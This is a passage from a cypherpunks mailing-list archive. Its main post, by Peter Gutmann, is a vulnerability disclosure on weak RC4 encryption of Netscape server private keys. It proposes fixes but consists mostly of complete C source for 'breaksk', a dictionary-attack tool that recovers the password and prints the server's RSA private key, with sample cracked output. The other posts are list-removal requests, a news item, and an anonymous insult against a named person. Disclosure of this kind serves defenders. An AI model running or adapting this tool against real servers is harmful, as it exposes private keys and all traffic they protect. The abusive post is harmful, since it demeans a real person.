December 2003 - cypherpunks-legacy

Euro-Commission to tackle porn on Internet
by Vipul Ved Prakash 17 Dec '03

17 Dec '03

*** Euro-Commission to tackle porn on Internet The European Commission, faced with calls to clamp down on Internet pornography following a Belgian pedophilia scandal, will take a first step in October toward seeing how it can be done. On Oct. 9, Culture Commissioner Marcelino Oreja plans to unveil a paper outlining how to identify authors of Internet pornography and how to interrupt that pornography. Oreja said options raised in the paper include encrypting access so that only those who pay could see the material or including a V-chip to screen against pornographic content. For the full text story, see http://www.merc.com/stories/cgi/story.cgi?id=178562-80c - Vipul -- Vipul Ved Prakash | - Electronic Security & Crypto vipul(a)pobox.com | - Internet & Intranets 91 11 2247802 | - Web Development & PERL 198 Madhuban IP Extension | - Linux & Open Systems Delhi, INDIA 110 092 | - (Networked) Multimedia

1 0

[Long] How to break Netscape's server key encryption
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

The Netscape server key format is very susceptible to both a dictionary attack and to keystream recovery. It uses the PKCS #8 format for private keys, which provides a large amount of known plaintext at the start of the data, in combination with RC4 without any form of IV or other preprocessing (even though PKCS #8 recommends that PKCS #5 password-based encryption be used), which means you can recover the first 100-odd bytes of key stream with a simple XOR (the same stupid mistake Microsoft made with their .PWL files). This means two things: 1. It's very simple to write a program to perform a dictionary attack on the server key (it took me about half an hour using cryptlib, and another half hour to rip the appropriate code out of cryptlib to create a standalone program). 2. The recovered key stream from the encrypted server key can be used to decrypt any other resource encrypted with the server password, *without knowing the password*. This is because there's enough known plaintext (ASN.1 objects, object identifiers, and public key components) at the start of the encrypted data to recover large quantities of key stream. To demonstrate the problem, I have written a program which performs a dictionary attack on the server key, and if successful prints the password used to encrypt it and the server's RSA private key. Originally I used my encryption library (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) to do the encryption, to turn it into a standalone program I ripped the necessary parts out of the library, which means it's a bit messy and not as portable as the original was. The code could probably be made to run about twice as fast if it's properly optimised, but I don't know if it's worth the bother and besides, it's just gone 4am I could use some sleep. To run it, use: breaksk <Netscape server key file> <word list file> Here's the output from a server key someone sent me, tested against my 100MB+ word list collection (some people collect stamps, I collect word lists :-): The password used to encrypt this Netscape server key is 'unguessable'. Modulus = 00D50626580C2543378FD249994A543FBF5FF1333E70684E942EC7034E5FA [...] Public exponent = 03 Private exponent = 008E0419900818D77A5FE18666318D7FD4EAA0CCD44AF03462C9 [...] Prime 1 = 00FBD3FC2CE1F50B31323F2D3FA27F6708D4373CC0487DB7199A712124380 [...] Prime 2 = 00D88D984BA6A7CD07F6608D95D3AC2682769DA904D061E593CF86A21B4A9 [...] Exponent 1 = 00A7E2A81DEBF8B220CC2A1E2A6C54EF5B3824D32ADAFE7A1111A0C0C2 [...] Exponent 2 = 00905E6587C46FDE054EEB090E8D1D6F01A4691B588AEBEE628A59C167 [...] Coefficient = 2DEBC012356B96D2206346141371D999288F55DD07AEF6D1972383E97 [...] (I've trimmed some of the lines a bit). The problem here is caused by a combination of the PKCS #8 format (which is rather nonoptimal for protecting private keys) and the use of RC4 to encryt fixed, known plaintext. Since everything is constant, you don't even need to run the password-transformation process more than once - just store a dictionary of the resulting key stream for each password in a database, and you can break the encryption with a single lookup (this would be avoided by the use of PKCS #5 password-based encryption, which iterates the key setup and uses a salt to make a precomputed dictionary attack impossible. PKCS #5 states that its primary intended application is for protecting private keys, but Netscape chose not to use this and went with straight RC4 instead). A quick (but not necessarily optimal) solution to the problem involves two changes: 1. Only encrypt the unknown, private fields in the key (which is what PGP does). Instead of wrapping everything up in several layers of encapsulation with object identifiers and public-key components, change the portion which is encrypted to: EncryptedRSAPrivateKey ::= SEQUENCE { privateExponent INTEGER, prime1 INTEGER, prime2 INTEGER, exponent1 INTEGER, exponent2 INTEGER, coefficient INTEGER } with everything else outside this object. 2. Don't use a simple stream cipher to encrypt fixed data like this. Use an IV on the encrypted data. Iterate the password setup to slow down a dictionary attack (I posted a scheme for transforming variable to fixed-length keys to the cypherpunks list a few days ago which provides the necessary functionality). The consequences of this attack are pretty scary. It involves vastly less effort than breaking a 40-bit session key or factoring a 512-bit public key, yet once you've recovered the private key you can also recover every session key it's ever protected in the past and will ever protect in the future (which is why I'm a fan of signed DH for session key exchange). The ease with which a dictionary attack can be carried out represents a critical weakness which compromises all other encryption components on the server - spending a few days with a Markov-model based phrase generator on a PC is still a lot easier than spending a few months with GNFS and a workstation farm. It seems strange that there are no real standards defined for secure storage of such a critical component as a private key. Although a lot of work has gone into X.509 and the multitude of related public-key certificate standards, the only generally-used private-key formats are PKCS #8 (which has problems, as demonstrated above), and Microsofts recently-proposed PFX (Personal Information Exchange) data format and protocol (PFX is designed to allow users to move their keys, certificates and other personal information securely from one platform to another, you can get more info on it from http://www.microsoft.com/intdev/security/misf11_7.htm) which is too new to comment on. It would be useful if a portable, secure private-key format at the same level as the X.509 effort were developed to solve this problem. For the curious (and ASN.1-aware), here's what the data formats look like. First there's the outer encapsulation which Netscape use to wrap up the encrypted key: NetscapeServerKey ::= SEQUENCE { identifier OCTET STRING ('private-key'), encryptedPrivateKeyInfo EncryptedPrivateKeyInfo } Inside this is a PKCS #8 private key: EncryptedPrivateKeyInfo ::= SEQUENCE { encryptionAlgorithm EncryptionAlgorithmIdentifier, encryptedData EncryptedData } EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier EncryptedData = OCTET STRING Now the EncryptionAlgorithmIdentifier is supposed to be something like pbeWithMD5AndDES, with an associated 64-bit salt and iteration count, but Netscape ignored this and used straight rc4 with no salt or iteration count. The EncryptedData decrypts to: PrivateKeyInfo ::= SEQUENCE { version Version privateKeyAlgorithm PrivateKeyAlgorithmIdentifier privateKey PrivateKey attributes [ 0 ] IMPLICIT Attributes OPTIONAL } Version ::= INTEGER PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier PrivateKey ::= OCTET STRING Attributes ::= SET OF Attribute The algorithm information is encoded as: AlgorithmIdentifier ::= SEQUENCE { algorithm ALGORITHM.&id( { SupportedAlgorithms } ), parameters ALGORITHM.&Type( { SupportedAlgorithms }{ @algorithm } ) OPTIONAL } SupportedAlgorithms ALGORITHM ::= { ... } ALGORITHM ::= TYPE-IDENTIFIER (and so on and so on, I haven't bothered going down any further). The EncryptionAlgorithmIdentifier is '1 2 840 113549 3 4' or { iso(1) member-body(2) US(840) rsadsi(113549) algorithm(3) rc4(4) }. The PrivateKeyAlgorithmIdentifier is '1 2 840 113549 1 1 1' or { iso(1) member-body(2) US(840) rsadsi(113549) pkcs(1) pkcs1-1(1) rsaEncryption(1) }. Included below is the code to perform the attack (set tabs to 4, phasers to stun). Do I get a t-shirt for this? :-) Peter. -- Snip -- /* BreakSK - Break Netscape server key file encryption via dictionary attack. Written by Peter Gutmann <pgut001(a)cs.auckland.ac.nz> 26 September 1996 */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Most of the code here was ripped out of cryptlib and is somewhat messy as a consquence. cryptlib has fairly extensive self-configuration and an internal API which hides machine-specific details, this program doesn't (the code here really wasn't meant for standalone use). As a result you need to manually define LITTLE_ENDIAN or BIG_ENDIAN, and it won't work at all on 64-bit systems. If you want the portability, use cryptlib instead */ #define LITTLE_ENDIAN /* #define BIG_ENDIAN */ /* Workarounds for cryptlib defines, constants, and macros */ #define MASK32(x) x #define FALSE 0 #define TRUE !FALSE typedef unsigned char BYTE; typedef unsigned long LONG; typedef int BOOLEAN; /* Functions to convert the endianness from the canonical form to the internal form. bigToLittle() convert from big-endian in-memory to little-endian in-CPU, littleToBig() convert from little-endian in-memory to big-endian in-CPU */ void longReverse( LONG *buffer, int count ); #ifdef LITTLE_ENDIAN #define bigToLittleLong( x, y ) longReverse(x,y) #define littleToBigLong( x, y ) #else #define bigToLittleLong( x, y ) #define littleToBigLong( x, y ) longReverse(x,y) #endif /* LITTLE_ENDIAN */ /* Byte-reverse an array of 16- and 32-bit words to/from network byte order to account for processor endianness. These routines assume the given count is a multiple of 16 or 32 bits. They are safe even for CPU's with a word size > 32 bits since on a little-endian CPU the important 32 bits are stored first, so that by zeroizing the first 32 bits and oring the reversed value back in we don't need to rely on the processor only writing 32 bits into memory */ void longReverse( LONG *buffer, int count ) { #if defined( _BIG_WORDS ) BYTE *bufPtr = ( BYTE * ) buffer, temp; count /= 4; /* sizeof( LONG ) != 4 */ while( count-- ) { /* There's really no nice way to do this - the above code generates misaligned accesses on processors with a word size > 32 bits, so we have to work at the byte level (either that or turn misaligned access warnings off by trapping the signal the access corresponds to. However a context switch per memory access is probably somewhat slower than the current byte-twiddling mess) */ temp = bufPtr[ 3 ]; bufPtr[ 3 ] = bufPtr[ 0 ]; bufPtr[ 0 ] = temp; temp = bufPtr[ 2 ]; bufPtr[ 2 ] = bufPtr[ 1 ]; bufPtr[ 1 ] = temp; bufPtr += 4; } #else LONG value; count /= sizeof( LONG ); while( count-- ) { value = *buffer; value = ( ( value & 0xFF00FF00UL ) >> 8 ) | \ ( ( value & 0x00FF00FFUL ) << 8 ); *buffer++ = ( value << 16 ) | ( value >> 16 ); } #endif /* _BIG_WORDS */ } #define mputLLong(memPtr,data) \ memPtr[ 0 ] = ( BYTE ) ( ( data ) & 0xFF ); \ memPtr[ 1 ] = ( BYTE ) ( ( ( data ) >> 8 ) & 0xFF ); \ memPtr[ 2 ] = ( BYTE ) ( ( ( data ) >> 16 ) & 0xFF ); \ memPtr[ 3 ] = ( BYTE ) ( ( ( data ) >> 24 ) & 0xFF ); \ memPtr += 4 /**************************************************************************** * * * MD5 * * * ****************************************************************************/ /* The MD5 block size and message digest sizes, in bytes */ #define MD5_DATASIZE 64 #define MD5_DIGESTSIZE 16 /* The structure for storing MD5 info */ typedef struct { LONG digest[ 4 ]; /* Message digest */ LONG countLo, countHi; /* 64-bit bit count */ LONG data[ 16 ]; /* MD5 data buffer */ #ifdef _BIG_WORDS BYTE dataBuffer[ MD5_DATASIZE ]; /* Byte buffer for data */ #endif /* _BIG_WORDS */ BOOLEAN done; /* Whether final digest present */ } MD5_INFO; /* Round 1 shift amounts */ #define S11 7 #define S12 12 #define S13 17 #define S14 22 /* Round 2 shift amounts */ #define S21 5 #define S22 9 #define S23 14 #define S24 20 /* Round 3 shift amounts */ #define S31 4 #define S32 11 #define S33 16 #define S34 23 /* Round 4 shift amounts */ #define S41 6 #define S42 10 #define S43 15 #define S44 21 /* F, G, H and I are basic MD5 functions */ #define F(X,Y,Z) ( ( X & Y ) | ( ~X & Z ) ) #define G(X,Y,Z) ( ( X & Z ) | ( Y & ~Z ) ) #define H(X,Y,Z) ( X ^ Y ^ Z ) #define I(X,Y,Z) ( Y ^ ( X | ~Z ) ) /* ROTATE_LEFT rotates x left n bits */ #define ROTATE_LEFT(x,n) ( ( x << n ) | ( x >> ( 32 - n ) ) ) /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */ #define FF(A,B,C,D,X,shiftAmt,magicConst) \ A += F( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define GG(A,B,C,D,X,shiftAmt,magicConst) \ A += G( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define HH(A,B,C,D,X,shiftAmt,magicConst) \ A += H( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define II(A,B,C,D,X,shiftAmt,magicConst) \ A += I( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) /* Basic MD5 step. Transforms digest based on data. Note that if the Mysterious Constants are arranged backwards in little-endian order and decrypted with DES they produce OCCULT MESSAGES! */ void MD5Transform( LONG *digest, LONG *data ) { LONG A, B, C, D; /* Set up local data */ A = digest[ 0 ]; B = digest[ 1 ]; C = digest[ 2 ]; D = digest[ 3 ]; /* Round 1 */ FF( A, B, C, D, data[ 0 ], S11, 3614090360UL ); /* 1 */ FF( D, A, B, C, data[ 1 ], S12, 3905402710UL ); /* 2 */ FF( C, D, A, B, data[ 2 ], S13, 606105819UL ); /* 3 */ FF( B, C, D, A, data[ 3 ], S14, 3250441966UL ); /* 4 */ FF( A, B, C, D, data[ 4 ], S11, 4118548399UL ); /* 5 */ FF( D, A, B, C, data[ 5 ], S12, 1200080426UL ); /* 6 */ FF( C, D, A, B, data[ 6 ], S13, 2821735955UL ); /* 7 */ FF( B, C, D, A, data[ 7 ], S14, 4249261313UL ); /* 8 */ FF( A, B, C, D, data[ 8 ], S11, 1770035416UL ); /* 9 */ FF( D, A, B, C, data[ 9 ], S12, 2336552879UL ); /* 10 */ FF( C, D, A, B, data[ 10 ], S13, 4294925233UL ); /* 11 */ FF( B, C, D, A, data[ 11 ], S14, 2304563134UL ); /* 12 */ FF( A, B, C, D, data[ 12 ], S11, 1804603682UL ); /* 13 */ FF( D, A, B, C, data[ 13 ], S12, 4254626195UL ); /* 14 */ FF( C, D, A, B, data[ 14 ], S13, 2792965006UL ); /* 15 */ FF( B, C, D, A, data[ 15 ], S14, 1236535329UL ); /* 16 */ /* Round 2 */ GG( A, B, C, D, data[ 1 ], S21, 4129170786UL ); /* 17 */ GG( D, A, B, C, data[ 6 ], S22, 3225465664UL ); /* 18 */ GG( C, D, A, B, data[ 11 ], S23, 643717713UL ); /* 19 */ GG( B, C, D, A, data[ 0 ], S24, 3921069994UL ); /* 20 */ GG( A, B, C, D, data[ 5 ], S21, 3593408605UL ); /* 21 */ GG( D, A, B, C, data[ 10 ], S22, 38016083UL ); /* 22 */ GG( C, D, A, B, data[ 15 ], S23, 3634488961UL ); /* 23 */ GG( B, C, D, A, data[ 4 ], S24, 3889429448UL ); /* 24 */ GG( A, B, C, D, data[ 9 ], S21, 568446438UL ); /* 25 */ GG( D, A, B, C, data[ 14 ], S22, 3275163606UL ); /* 26 */ GG( C, D, A, B, data[ 3 ], S23, 4107603335UL ); /* 27 */ GG( B, C, D, A, data[ 8 ], S24, 1163531501UL ); /* 28 */ GG( A, B, C, D, data[ 13 ], S21, 2850285829UL ); /* 29 */ GG( D, A, B, C, data[ 2 ], S22, 4243563512UL ); /* 30 */ GG( C, D, A, B, data[ 7 ], S23, 1735328473UL ); /* 31 */ GG( B, C, D, A, data[ 12 ], S24, 2368359562UL ); /* 32 */ /* Round 3 */ HH( A, B, C, D, data[ 5 ], S31, 4294588738UL ); /* 33 */ HH( D, A, B, C, data[ 8 ], S32, 2272392833UL ); /* 34 */ HH( C, D, A, B, data[ 11 ], S33, 1839030562UL ); /* 35 */ HH( B, C, D, A, data[ 14 ], S34, 4259657740UL ); /* 36 */ HH( A, B, C, D, data[ 1 ], S31, 2763975236UL ); /* 37 */ HH( D, A, B, C, data[ 4 ], S32, 1272893353UL ); /* 38 */ HH( C, D, A, B, data[ 7 ], S33, 4139469664UL ); /* 39 */ HH( B, C, D, A, data[ 10 ], S34, 3200236656UL ); /* 40 */ HH( A, B, C, D, data[ 13 ], S31, 681279174UL ); /* 41 */ HH( D, A, B, C, data[ 0 ], S32, 3936430074UL ); /* 42 */ HH( C, D, A, B, data[ 3 ], S33, 3572445317UL ); /* 43 */ HH( B, C, D, A, data[ 6 ], S34, 76029189UL ); /* 44 */ HH( A, B, C, D, data[ 9 ], S31, 3654602809UL ); /* 45 */ HH( D, A, B, C, data[ 12 ], S32, 3873151461UL ); /* 46 */ HH( C, D, A, B, data[ 15 ], S33, 530742520UL ); /* 47 */ HH( B, C, D, A, data[ 2 ], S34, 3299628645UL ); /* 48 */ /* Round 4 */ II( A, B, C, D, data[ 0 ], S41, 4096336452UL ); /* 49 */ II( D, A, B, C, data[ 7 ], S42, 1126891415UL ); /* 50 */ II( C, D, A, B, data[ 14 ], S43, 2878612391UL ); /* 51 */ II( B, C, D, A, data[ 5 ], S44, 4237533241UL ); /* 52 */ II( A, B, C, D, data[ 12 ], S41, 1700485571UL ); /* 53 */ II( D, A, B, C, data[ 3 ], S42, 2399980690UL ); /* 54 */ II( C, D, A, B, data[ 10 ], S43, 4293915773UL ); /* 55 */ II( B, C, D, A, data[ 1 ], S44, 2240044497UL ); /* 56 */ II( A, B, C, D, data[ 8 ], S41, 1873313359UL ); /* 57 */ II( D, A, B, C, data[ 15 ], S42, 4264355552UL ); /* 58 */ II( C, D, A, B, data[ 6 ], S43, 2734768916UL ); /* 59 */ II( B, C, D, A, data[ 13 ], S44, 1309151649UL ); /* 60 */ II( A, B, C, D, data[ 4 ], S41, 4149444226UL ); /* 61 */ II( D, A, B, C, data[ 11 ], S42, 3174756917UL ); /* 62 */ II( C, D, A, B, data[ 2 ], S43, 718787259UL ); /* 63 */ II( B, C, D, A, data[ 9 ], S44, 3951481745UL ); /* 64 */ /* Build message digest */ digest[ 0 ] = MASK32( digest[ 0 ] + A ); digest[ 1 ] = MASK32( digest[ 1 ] + B ); digest[ 2 ] = MASK32( digest[ 2 ] + C ); digest[ 3 ] = MASK32( digest[ 3 ] + D ); } /**************************************************************************** * * * MD5 Support Routines * * * ****************************************************************************/ /* The routine md5Initial initializes the message-digest context md5Info */ void md5Initial( MD5_INFO *md5Info ) { /* Clear all fields */ memset( md5Info, 0, sizeof( MD5_INFO ) ); /* Load magic initialization constants */ md5Info->digest[ 0 ] = 0x67452301L; md5Info->digest[ 1 ] = 0xEFCDAB89L; md5Info->digest[ 2 ] = 0x98BADCFEL; md5Info->digest[ 3 ] = 0x10325476L; /* Initialise bit count */ md5Info->countLo = md5Info->countHi = 0L; } /* The routine MD5Update updates the message-digest context to account for the presence of each of the characters buffer[ 0 .. count-1 ] in the message whose digest is being computed */ void md5Update( MD5_INFO *md5Info, BYTE *buffer, int count ) { LONG tmp; int dataCount; /* Update bitcount */ tmp = md5Info->countLo; if ( ( md5Info->countLo = tmp + ( ( LONG ) count << 3 ) ) < tmp ) md5Info->countHi++; /* Carry from low to high */ md5Info->countHi += count >> 29; /* Get count of bytes already in data */ dataCount = ( int ) ( tmp >> 3 ) & 0x3F; /* Handle any leading odd-sized chunks */ if( dataCount ) { #ifdef _BIG_WORDS BYTE *p = md5Info->dataBuffer + dataCount; #else BYTE *p = ( BYTE * ) md5Info->data + dataCount; #endif /* _BIG_WORDS */ dataCount = MD5_DATASIZE - dataCount; if( count < dataCount ) { memcpy( p, buffer, count ); return; } memcpy( p, buffer, dataCount ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); buffer += dataCount; count -= dataCount; } /* Process data in MD5_DATASIZE chunks */ while( count >= MD5_DATASIZE ) { #ifdef _BIG_WORDS memcpy( md5Info->dataBuffer, buffer, MD5_DATASIZE ); copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else memcpy( md5Info->data, buffer, MD5_DATASIZE ); littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); buffer += MD5_DATASIZE; count -= MD5_DATASIZE; } /* Handle any remaining bytes of data. */ #ifdef _BIG_WORDS memcpy( md5Info->dataBuffer, buffer, count ); #else memcpy( md5Info->data, buffer, count ); #endif /* _BIG_WORDS */ } /* Final wrapup - pad to MD5_DATASIZE-byte boundary with the bit pattern 1 0* (64-bit count of bits processed, MSB-first) */ void md5Final( MD5_INFO *md5Info ) { int count; BYTE *dataPtr; /* Compute number of bytes mod 64 */ count = ( int ) md5Info->countLo; count = ( count >> 3 ) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ #ifdef _BIG_WORDS dataPtr = md5Info->dataBuffer + count; #else dataPtr = ( BYTE * ) md5Info->data + count; #endif /* _BIG_WORDS */ *dataPtr++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = MD5_DATASIZE - 1 - count; /* Pad out to 56 mod 64 */ if( count < 8 ) { /* Two lots of padding: Pad the first block to 64 bytes */ memset( dataPtr, 0, count ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); /* Now fill the next block with 56 bytes */ #ifdef _BIG_WORDS memset( md5Info->dataBuffer, 0, MD5_DATASIZE - 8 ); #else memset( md5Info->data, 0, MD5_DATASIZE - 8 ); #endif /* _BIG_WORDS */ } else /* Pad block to 56 bytes */ memset( dataPtr, 0, count - 8 ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #endif /* _BIG_WORDS */ /* Append length in bits and transform */ md5Info->data[ 14 ] = md5Info->countLo; md5Info->data[ 15 ] = md5Info->countHi; #ifndef _BIG_WORDS littleToBigLong( md5Info->data, MD5_DATASIZE - 8 ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); md5Info->done = TRUE; } /**************************************************************************** * * * RC4 * * * ****************************************************************************/ /* If the system can handle byte ops, we use those so we don't have to do a lot of masking. Otherwise, we use machine-word-size ops which will be faster on RISC machines */ #if UINT_MAX > 0xFFFFL /* System has 32-bit ints */ #define USE_LONG_RC4 typedef unsigned int rc4word; #else typedef unsigned char rc4word; #endif /* UINT_MAX > 0xFFFFL */ /* The scheduled RC4 key */ typedef struct { rc4word state[ 256 ]; rc4word x, y; } RC4KEY ; /* Expand an RC4 key */ void rc4ExpandKey( RC4KEY *rc4, unsigned char const *key, int keylen ) { int x, keypos = 0; rc4word sx, y = 0; rc4word *state = &rc4->state[ 0 ]; rc4->x = rc4->y = 0; for( x = 0; x < 256; x++ ) state[ x ] = x; for( x = 0; x < 256; x++ ) { sx = state[ x ]; y += sx + key[ keypos ]; #ifdef USE_LONG_RC4 y &= 0xFF; #endif /* USE_LONG_RC4 */ state[ x ] = state[ y ]; state[ y ] = sx; if( ++keypos == keylen ) keypos = 0; } } void rc4Crypt( RC4KEY *rc4, unsigned char *data, int len ) { rc4word x = rc4->x, y = rc4->y; rc4word sx, sy; rc4word *state = &rc4->state[ 0 ]; while (len--) { x++; #ifdef USE_LONG_RC4 x &= 0xFF; #endif /* USE_LONG_RC4 */ sx = state[ x ]; y += sx; #ifdef USE_LONG_RC4 y &= 0xFF; #endif /* USE_LONG_RC4 */ sy = state[ y ]; state[ y ] = sx; state[ x ] = sy; #ifdef USE_LONG_RC4 *data++ ^= state[ ( unsigned char ) ( sx+sy ) ]; #else *data++ ^= state[ ( sx+sy ) & 0xFF ]; #endif /* USE_LONG_RC4 */ } rc4->x = x; rc4->y = y; } /**************************************************************************** * * * Driver Code * * * ****************************************************************************/ /* Various magic values in the key file */ static BYTE netscapeKeyfileID[] = { 0x04, 0x0B, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x2D, 0x6B, 0x65, 0x79 }; static BYTE rc4EncryptionID[] = { 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x03, 0x04, 0x05, 0x00 }; static BYTE version[] = { 0x02, 0x01, 0x00 }; static BYTE rsaPrivateKeyID[] = { 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00 }; /* General-purpose buffer. We make them static buffers to keep them off the stack on DOS/Win16 boxes */ static BYTE buffer[ 1024 ], temp[ 1024 ]; /* Print a key component */ int printKeyComponent( BYTE *buffer, char *title ) { int count, length = 0, totalLength = 2; printf( "%s = ", title ); if( *buffer++ != 0x02 ) { puts( "Bad data format in key component." ); return( 0 ); } /* Get the length of the component */ if( *buffer & 0x80 ) { count = *buffer++ & 0x7F; totalLength += count; while( count-- ) length = ( length << 8 ) | *buffer++; } else length = *buffer++; totalLength += length; /* Print the data */ for( count = 0; count < length; count++ ) printf( "%02X", buffer[ count ] ); putchar( '\n' ); return( totalLength ); } /* The main program */ int main( int argc, char *argv[] ) { FILE *keyFile, *dictFile; int count, length = 0; /* Check args and open the server key file */ if( argc != 3 ) { puts( "Usage: breaksk <server key file> <dictionary>" ); return( EXIT_FAILURE ); } if( ( keyFile = fopen( argv[ 1 ], "rb" ) ) == NULL ) { perror( argv[ 1 ] ); return( EXIT_FAILURE ); } /* Read the Netscape outer wrapper */ if( getc( keyFile ) != 0x30 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) getc( keyFile ); if( ( fread( buffer, 1, 13, keyFile ) != 13 ) || \ memcmp( buffer, netscapeKeyfileID, 13 ) ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } /* Read the PKCS #8 EncryptedPrivateKey wrapper */ if( getc( keyFile ) != 0x30 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) getc( keyFile ); if( ( fread( buffer, 1, 14, keyFile ) != 14 ) || \ memcmp( buffer, rc4EncryptionID, 14 ) ) { puts( "This doesn't look like an RC4-encrypted server key." ); exit( EXIT_FAILURE ); } /* Read the start of the EncryptedData field */ if( getc( keyFile ) != 0x04 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) length = ( length << 8 ) | getc( keyFile ); /* Read the encrypted RSAPrivateKey */ if( fread( buffer, 1, length, keyFile ) != length ) { puts( "Netscape server key file length fields are inconsistent." ); exit( EXIT_FAILURE ); } fclose( keyFile ); /* We've got the data we want, now rumble through the dictionary trying each key on it. First, make sure we can open the thing */ if( ( dictFile = fopen( argv[ 2 ], "r" ) ) == NULL ) { perror( argv[ 2 ] ); return( EXIT_FAILURE ); } while( TRUE ) { BYTE hashedPassword[ MD5_DIGESTSIZE ], *hashedPassPtr = hashedPassword; MD5_INFO md5Info; RC4KEY rc4key; char dictWord[ 100 ]; int dictWordLength, index; /* Get the next word from the dictionary */ if( fgets( dictWord, 100, dictFile ) == NULL ) { puts( "No more words in dictionary." ); break; } dictWordLength = strlen( dictWord ) - 1; dictWord[ dictWordLength ] = '\0'; /* Hash the word using MD5 */ md5Initial( &md5Info ); md5Update( &md5Info, ( BYTE * ) dictWord, dictWordLength ); md5Final( &md5Info ); for( index = 0; index < MD5_DIGESTSIZE / 4; index++ ) { mputLLong( hashedPassPtr, md5Info.digest[ index ] ); } /* Set up the RC4 key based on the hashed password */ rc4ExpandKey( &rc4key, hashedPassword, MD5_DIGESTSIZE ); /* Copy the data to a temporary buffer and try to decrypt it */ memcpy( temp, buffer, length ); rc4Crypt( &rc4key, temp, 22 ); /* Check for known plaintext */ if( temp[ 0 ] != 0x30 || !( temp[ 1 ] & 0x80 ) ) continue; index = 1; count = temp[ index++ ] & 0x7F; while( count-- ) index++; if( memcmp( temp + index, version, 3 ) ) continue; index += 3; if( memcmp( temp + index, rsaPrivateKeyID, 15 ) ) continue; /* We've found the password, display it and decrypt the rest of the key */ printf( "The password used to encrypt this Netscape server key " "is '%s'.\n\n", dictWord ); index += 15; rc4Crypt( &rc4key, temp + 22, length - 22 ); /* Skip the OCTET STRING encapsulation */ if( temp[ index++ ] != 0x04 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } count = temp[ index++ ] & 0x7F; while( count-- ) index++; /* Skip the inner SEQUENCE encapsulation */ if( temp[ index++ ] != 0x30 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } count = temp[ index++ ] & 0x7F; while( count-- ) index++; /* Skip the version number. NB: This encoding is incorrect and violates the ASN.1 encoding rules. It's strange that the outer version number is encoded correctly, but the inner one isn't */ if( temp[ index++ ] != 0x02 || temp[ index++ ] != 0x00 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } /* OK, now we've reached the key components. Print each one out */ index += printKeyComponent( temp + index, "Modulus" ); index += printKeyComponent( temp + index, "Public exponent" ); index += printKeyComponent( temp + index, "Private exponent" ); index += printKeyComponent( temp + index, "Prime 1" ); index += printKeyComponent( temp + index, "Prime 2" ); index += printKeyComponent( temp + index, "Exponent 1" ); index += printKeyComponent( temp + index, "Exponent 2" ); index += printKeyComponent( temp + index, "Coefficient" ); break; } fclose( dictFile ); return( EXIT_SUCCESS ); }

2 1

No Subject
by temanuel＠mecklermedia.com 17 Dec '03

17 Dec '03

Please take me off this list or send instructions for so doing. Tom Emanuel Vice President Publication Licensing, Mecklermedia Corporation, 20 Ketchum Street, Westport, CT 06880:fax: 203-454-5840; URL: http://www.iworld.com; temanuel(a)mecklermedia.com

1 0

A periodic word of caution regarding Timothy C[unt] May
by Squirrel Remailer 17 Dec '03

17 Dec '03

Timothy C[unt] May proves that the Midwestern gene pool needs some chlorine in it.

1 0

RE: your mail
by billc＠true.com 17 Dec '03

17 Dec '03

Likewise, please remove info@truecom from this list. ---------- From: Andrew Kantor[SMTP:ak@mecklermedia.com] Sent: Wednesday, September 25, 1996 2:58 PM To: John Norseen; Craig; Robert Steele Cc: news_from_wschwartau(a)infowar.com; Betty G. O'Hearn; Winn Schwartau Subject: Re: your mail I'm not sure what this list is or why I'm on it, but would whoever runs this thing please remove me or send removal instructions. Thanks. AK ------------------------------------------------------------ Andrew Kantor ak(a)iw.com Senior Editor, Internet World http://www.iw.com Otherwise, no one of consequence. http://www.kantor.com ------------------------------------------------------------ "Don't argue with the man who buys ink by the barrel."

1 0

Re: Re[2]: your mail
by probst＠iro.umontreal.ca 17 Dec '03

17 Dec '03

Well, obviously the distribution list is the entire P-TRAK database from Lexis/Nexis. :-) David K. Probst

1 0

Mitsubishi MISTY LSI
by jya＠pipeline.com 17 Dec '03

17 Dec '03

